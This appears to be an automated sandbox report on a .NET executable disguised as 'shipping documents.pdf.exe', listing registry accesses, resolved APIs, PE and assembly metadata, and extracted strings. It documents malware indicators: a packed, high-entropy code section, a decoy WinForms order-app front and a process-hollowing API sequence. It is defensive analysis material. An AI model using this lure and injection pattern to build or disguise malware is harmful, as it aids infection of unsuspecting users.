HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\B1179E2C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPSampledIn
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.SetDefaultDllDirectories
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
kernel32.dll.AcquireSRWLockExclusive
kernel32.dll.ReleaseSRWLockExclusive
advapi32.dll.EventRegister
advapi32.dll.EventSetInformation
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
msvcrt.dll._set_error_mode
[email protected]@[email protected]
kernel32.dll.FindActCtxSectionStringW
kernel32.dll.GetSystemWindowsDirectoryW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
user32.dll.GetProcessWindowStation
user32.dll.GetUserObjectInformationW
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
mscoreei.dll.CreateConfigStream
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
kernel32.dll.QueryActCtxW
ole32.dll.CoGetContextToken
kernel32.dll.GetFullPathNameW
kernel32.dll.GetVersionExW
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
mscorjit.dll.getJit
uxtheme.dll.IsAppThemed
kernel32.dll.CreateActCtxA
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
user32.dll.RegisterWindowMessageW
ole32.dll.CoCreateGuid
kernel32.dll.GetUserDefaultUILanguage
kernel32.dll.SetErrorMode
kernel32.dll.GetFileAttributesExW
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
kernel32.dll.GetCurrentProcessId
kernel32.dll.FindAtomW
kernel32.dll.AddAtomW
mscoree.dll.LoadLibraryShim
gdiplus.dll.GdiplusStartup
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipLoadImageFromStream
windowscodecs.dll.DllGetClassObject
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageType
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.CreateProcessW
kernel32.dll.GetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.VirtualAllocEx
kernel32.dll.WriteProcessMemory
kernel32.dll.SetThreadContext
kernel32.dll.ResumeThread
ole32.dll.CoWaitForMultipleHandles
kernel32.dll.DeleteAtom
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
cryptsp.dll.CryptReleaseContext
advapi32.dll.EventUnregister
"{path}"
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe "{path}"
Global\CLR_CASOFF_MUTEX

PE Information

Image Base Entry Point Reported Checksum Actual Checksum Minimum OS Version Compile Time Import Hash Icon Icon Exact Hash Icon Similarity Hash
0x00400000 0x00463292 0x00000000 0x00066635 4.0 2020-06-30 04:11:24 f34d5f2d4577ed6d9ceec516c1f5a744 d7fa4c61eee64a320960111c1c362842 920c3027c18f1b01bd763db3bf5579e5

Sections

Name RAW Address Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
.text 0x00000200 0x00002000 0x00061298 0x00061400 IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ 7.91
.rsrc 0x00061600 0x00064000 0x000041e0 0x00004200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ 6.54
.reloc 0x00065800 0x0006a000 0x0000000c 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ 0.10

Resources

Name Offset Size Language Sub-language Entropy File type
RT_ICON 0x00065670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_ICON 0x00065670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_ICON 0x00065670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_GROUP_ICON 0x00067c28 0x00000030 LANG_NEUTRAL SUBLANG_NEUTRAL 2.46 None
RT_VERSION 0x00067c68 0x00000376 LANG_NEUTRAL SUBLANG_NEUTRAL 3.43 None
RT_MANIFEST 0x00067ff0 0x000001ea LANG_NEUTRAL SUBLANG_NEUTRAL 5.00 None

Imports


Assembly Information

Name RuYBIkytPaFzpQAfDd
Version 1.98.4.0

Assembly References

Name Version
mscorlib 2.0.0.0
System.Windows.Forms 2.0.0.0
System 2.0.0.0
System.Drawing 2.0.0.0
System.Xml 2.0.0.0
System.Data 2.0.0.0

Custom Attributes

Type Name Value
Assembly [mscorlib]System.Reflection.AssemblyTitleAttribute Winform Sandb
Assembly [mscorlib]System.Reflection.AssemblyProductAttribute Winform Sandb
Assembly [mscorlib]System.Reflection.AssemblyCopyrightAttribute Copyright \xa9 2017 - 20
Assembly [mscorlib]System.Runtime.InteropServices.GuidAttribute D7AFF0CC-F635-4140-A9B4-0FEA7D211F
Assembly [mscorlib]System.Reflection.AssemblyFileVersionAttribute 1.98.4

Type References

Assembly Type Name
mscorlib System.Runtime.CompilerServices.CompilationRelaxationsAttribute
mscorlib System.Runtime.CompilerServices.RuntimeCompatibilityAttribute
mscorlib System.Diagnostics.DebuggableAttribute
mscorlib System.Diagnostics.DebuggableAttribute/DebuggingModes
mscorlib System.Reflection.AssemblyTitleAttribute
mscorlib System.Reflection.AssemblyDescriptionAttribute
mscorlib System.Reflection.AssemblyConfigurationAttribute
mscorlib System.Reflection.AssemblyCompanyAttribute
mscorlib System.Reflection.AssemblyProductAttribute
mscorlib System.Reflection.AssemblyCopyrightAttribute
mscorlib System.Reflection.AssemblyTrademarkAttribute
mscorlib System.Runtime.InteropServices.ComVisibleAttribute
mscorlib System.Runtime.InteropServices.GuidAttribute
mscorlib System.Reflection.AssemblyFileVersionAttribute
System.Windows.Forms System.Windows.Forms.Form
mscorlib System.Collections.Generic.List`1
System System.ComponentModel.IContainer
System.Windows.Forms System.Windows.Forms.ComboBox
System.Windows.Forms System.Windows.Forms.Label
System.Windows.Forms System.Windows.Forms.Button
System.Windows.Forms System.Windows.Forms.ListBox
mscorlib System.Object
mscorlib System.EventArgs
mscorlib System.Decimal
mscorlib System.Enum
mscorlib System.Runtime.CompilerServices.CompilerGeneratedAttribute
mscorlib System.Diagnostics.DebuggerBrowsableState
mscorlib System.Diagnostics.DebuggerBrowsableAttribute
mscorlib System.Collections.Generic.List`1/Enumerator
mscorlib System.Reflection.Assembly
mscorlib System.Type
mscorlib System.Reflection.MethodInfo
mscorlib System.STAThreadAttribute
System System.CodeDom.Compiler.GeneratedCodeAttribute
mscorlib System.Diagnostics.DebuggerNonUserCodeAttribute
mscorlib System.Resources.ResourceManager
mscorlib System.Globalization.CultureInfo
System.Drawing System.Drawing.Bitmap
System System.ComponentModel.EditorBrowsableState
System System.ComponentModel.EditorBrowsableAttribute
System System.Configuration.ApplicationSettingsBase
System.Windows.Forms System.Windows.Forms.DataGridView
System.Windows.Forms System.Windows.Forms.DataGridViewTextBoxColumn
System.Windows.Forms System.Windows.Forms.DataGridViewCellEventArgs
System System.ComponentModel.INotifyPropertyChanged
System System.ComponentModel.PropertyChangedEventHandler
mscorlib System.Collections.Generic.IList`1
mscorlib System.Collections.Generic.ICollection`1
mscorlib System.Collections.Generic.IEnumerable`1
mscorlib System.Collections.IEnumerable
mscorlib System.Guid
System System.ComponentModel.BindingList`1
System System.ComponentModel.ListSortDirection
System System.ComponentModel.PropertyDescriptor
mscorlib System.IComparable
System.Windows.Forms System.Windows.Forms.GroupBox
System.Windows.Forms System.Windows.Forms.TextBox
mscorlib System.Exception
System.Windows.Forms System.Windows.Forms.DataGridViewRow
System.Windows.Forms System.Windows.Forms.DataGridViewCellStyle
System.Xml System.Xml.Serialization.XmlSerializer
System.Data System.Data.DataSet
System.Data System.Data.DataTable
System.Windows.Forms System.Windows.Forms.BindingSource
System.Windows.Forms System.Windows.Forms.ListBox/ObjectCollection
System.Windows.Forms System.Windows.Forms.Control
System.Windows.Forms System.Windows.Forms.ListControl
mscorlib System.IDisposable
System.Windows.Forms System.Windows.Forms.AutoCompleteMode
System.Windows.Forms System.Windows.Forms.AutoCompleteSource
System.Drawing System.Drawing.Point
System.Drawing System.Drawing.Size
mscorlib System.EventHandler
System.Windows.Forms System.Windows.Forms.ButtonBase
System.Drawing System.Drawing.SizeF
System.Windows.Forms System.Windows.Forms.ContainerControl
System.Windows.Forms System.Windows.Forms.AutoScaleMode
System.Windows.Forms System.Windows.Forms.Control/ControlCollection
mscorlib System.Convert
mscorlib System.AppDomain
mscorlib System.Reflection.MethodBase
System System.ComponentModel.Container
System.Windows.Forms System.Windows.Forms.Application
mscorlib System.RuntimeTypeHandle
System System.Configuration.SettingsBase
System.Windows.Forms System.Windows.Forms.ControlBindingsCollection
System.Windows.Forms System.Windows.Forms.Binding
System.Windows.Forms System.Windows.Forms.DataGridViewCellEventHandler
System System.ComponentModel.ISupportInitialize
System.Windows.Forms System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode
System.Windows.Forms System.Windows.Forms.DataGridViewColumnCollection
System.Windows.Forms System.Windows.Forms.DataGridViewColumn
System.Windows.Forms System.Windows.Forms.DataGridViewBand
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeColumnMode
System.Drawing System.Drawing.Font
System.Drawing System.Drawing.FontStyle
System.Drawing System.Drawing.GraphicsUnit
mscorlib System.Delegate
mscorlib System.Threading.Interlocked
System System.ComponentModel.PropertyChangedEventArgs
mscorlib System.Collections.ObjectModel.Collection`1
System.Windows.Forms System.Windows.Forms.DataGridViewRowCollection
mscorlib System.Math
mscorlib System.String
mscorlib System.Comparison`1
System System.ComponentModel.ListChangedEventArgs
System System.ComponentModel.ListChangedType
mscorlib System.StringComparison
System.Windows.Forms System.Windows.Forms.MessageBox
System.Windows.Forms System.Windows.Forms.DialogResult
System.Data System.Data.DataRowCollection
System.Data System.Data.DataRow
System.Windows.Forms System.Windows.Forms.BorderStyle
System.Windows.Forms System.Windows.Forms.TextBoxBase
System.Windows.Forms System.Windows.Forms.ScrollBars
System.Drawing System.Drawing.Color
System.Windows.Forms System.Windows.Forms.DataGridViewTriState
System.Windows.Forms System.Windows.Forms.DataGridViewSelectedRowCollection
System.Windows.Forms System.Windows.Forms.DataGridViewCellCollection
System.Windows.Forms System.Windows.Forms.DataGridViewCell
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeColumnsMode
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeRowsMode
System.Windows.Forms System.Windows.Forms.DataGridViewContentAlignment
System.Drawing System.Drawing.SystemColors
System.Windows.Forms System.Windows.Forms.DataGridViewEditMode
System.Windows.Forms System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode
System.Windows.Forms System.Windows.Forms.DataGridViewSelectionMode
System.Windows.Forms System.Windows.Forms.FormStartPosition
System.Windows.Forms System.Windows.Forms.FormBorderStyle
System.Windows.Forms System.Windows.Forms.FormClosingEventHandler
System.Data System.Data.XmlReadMode
System.Data System.Data.DataTableCollection
System.Windows.Forms System.Windows.Forms.DockStyle

!This program cannot be run in DOS mode.
.text
`.rsrc
@.reloc
*BSJB
v2.0.50727
#Strings
#GUID
#Blob
IEnumerable`1
ICollection`1
Comparison`1
IList`1
SortableBindingList`1
label1
Form1
dataGridView1
groupBox1
label2
get_unify2
button3
Class3
<Module>
SizeF
labelTM
textBoxTM
SDSDSDS
CVVVVVVVVV
value__
System.Data
SaveData
mscorlib
System.Collections.Generic
RuYBIkytPaFzpQAfDd
get_Id
add_Load
OrderForm_Load
buttonAdd
OnListChanged
add_SelectedIndexChanged
lstOrder_SelectedIndexChanged
cbMenus_SelectedIndexChanged
add_PropertyChanged
remove_PropertyChanged
INotifyPropertyChanged
Interlocked
set_Enabled
set_FormattingEnabled
_isSorted
Synchronized
PopulateDataGrid
SelectedGroupDataGrid
GroupsDataGrid
NewGuid
<Id>k__BackingField
<Price>k__BackingField
<ProductsTable>k__BackingField
<Title>k__BackingField
<Name>k__BackingField
<GroupName>k__BackingField
<ProductName>k__BackingField
<MenuType>k__BackingField
<TradeMark>k__BackingField
<Description>k__BackingField
<PhoneNumber>k__BackingField
<SkuNumber>k__BackingField
<Supplier>k__BackingField
<ProductDetails>k__BackingField
<OrderItems>k__BackingField
<MenuItems>k__BackingField
<StorageUnit>k__BackingField
<Category>k__BackingField
DataGridViewBand
buttonAmend
SBind
GetMethod
get_Price
set_Price
get_TotalPrice
RefreshTotalPrice
lblTotalPrice
labelPrice
textBoxPrice
defaultInstance
set_DataSource
set_AutoCompleteSource
BindingSource
source
XmlReadMode
set_AutoScaleMode
set_AutoCompleteMode
set_RowHeadersWidthSizeMode
DataGridViewRowHeadersWidthSizeMode
set_AutoSizeMode
set_ColumnHeadersHeightSizeMode
DataGridViewColumnHeadersHeightSizeMode
DataGridViewAutoSizeColumnMode
set_SelectionMode
DataGridViewSelectionMode
set_WrapMode
set_AutoSizeColumnsMode
DataGridViewAutoSizeColumnsMode
set_AutoSizeRowsMode
DataGridViewAutoSizeRowsMode
set_EditMode
DataGridViewEditMode
AddRange
CompareExchange
get_WhiteSmoke
Invoke
DataTable
get_ProductsTable
set_ProductsTable
IComparable
IEnumerable
IDisposable
dtable
set_RowHeadersVisible
RuntimeTypeHandle
GetTypeFromHandle
numberOfPeople
get_Title
set_Title
DockStyle
get_DefaultCellStyle
set_DefaultCellStyle
set_ColumnHeadersDefaultCellStyle
DataGridViewCellStyle
set_BorderStyle
set_FormBorderStyle
FontStyle
get_Name
set_Name
PersonName
get_GroupName
set_GroupName
groupName
labelPrName
textBoxPrName
get_ProductName
set_ProductName
set_DataPropertyName
Combine
set_Multiline
Phone
ListChangedType
GetType
get_MenuType
set_MenuType
Compare
get_IsSortedCore
get_SupportsSortingCore
get_SortDirectionCore
GroupCore
RemoveSortCore
ApplySortCore
get_SortPropertyCore
get_Culture
set_Culture
resourceCulture
MethodBase
ButtonBase
ApplicationSettingsBase
TextBoxBase
Close
Dispose
Delegate
DebuggerBrowsableState
EditorBrowsableState
DataGridViewTriState
Delete
get_White
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
labelCatalogue
get_Value
GetValue
value
buttonSave
Remove
RuYBIkytPaFzpQAfDd.exe
set_Size
set_MinimumSize
set_MaximumSize
set_AutoSize
set_ClientSize
myserialize
ISupportInitialize
IndexOf
get_Tag
set_Tag
System.Threading
Binding
FromBase64String
ToString
GetString
MainForm_Closing
add_FormClosing
disposing
Operating
System.Drawing
ShowDialog
set_MaxLength
buttonAdd_Click
add_Click
buttonAmend_Click
buttonDelete_Click
buttonSave_Click
buttonCancel_Click
btnClearMenus_Click
buttonEdit_Click
buttonExit_Click
btnAddMenu_Click
btnRemoveMenu_Click
buttonShow_Click
set_Dock
get_TradeMark
set_TradeMark
ToDecimal
Label
buttonCancel
System.Collections.ObjectModel
System.ComponentModel
WinformsSandbox.ComponentModel
IGroupsViewModel
get_GroupsViewModel
set_GroupsViewModel
_groupsViewModel
DataGridViewCell
System.Xml
ReadXml
WriteXml
GetFromXml
get_Control
ContainerControl
ListControl
Program
get_Item
AddItem
get_SelectedItem
get_DataBoundItem
RemoveItem
MenuItem
menuItem
System
EditDeleteAddForm
MainForm
OrderForm
AddEditForm
ShowForm
labelStoreUn
textBoxStoreUn
resourceMan
Vegetarian
AppDomain
get_CurrentDomain
DataGridViewColumn
DataGridViewTextBoxColumn
Application
set_Location
System.Configuration
System.Globalization
System.Xml.Serialization
System.Reflection
DataTableCollection
DataGridViewCellCollection
ControlCollection
DataGridViewColumnCollection
ControlBindingsCollection
ObjectCollection
DataRowCollection
DataGridViewSelectedRowCollection
DataGridViewRowCollection
ListSortDirection
_sortDirection
direction
set_StartPosition
FormStartPosition
Exception
get_Description
set_Description
StringComparison
OnComparison
IPerson
Button
CompareTo
MethodInfo
CultureInfo
get_Gainsboro
Bitmap
set_TabStop
IGroup
GetRandomGroup
get_gVHZLPOUSnQRiJfhXunuUmfYJPkHOHq
Clear
set_ValueMember
get_PhoneNumber
set_PhoneNumber
get_SkuNumber
set_SkuNumber
sender
PhoneOrder
_currentOrder
lstOrder
get_ResourceManager
ProductsManager
get_Supplier
set_Supplier
labelSupplier
textBoxSupplier
PropertyChangedEventHandler
FormClosingEventHandler
DataGridViewCellEventHandler
System.CodeDom.Compiler
IContainer
add_RowEnter
GroupsDataGrid_RowEnter
remove_RowEnter
get_Silver
XmlSerializer
set_GridColor
set_BackgroundColor
set_ForeColor
set_SelectionForeColor
set_BackColor
set_UseVisualStyleBackColor
set_SelectionBackColor
GetEnumerator
.ctor
.cctor
PropertyDescriptor
System.Diagnostics
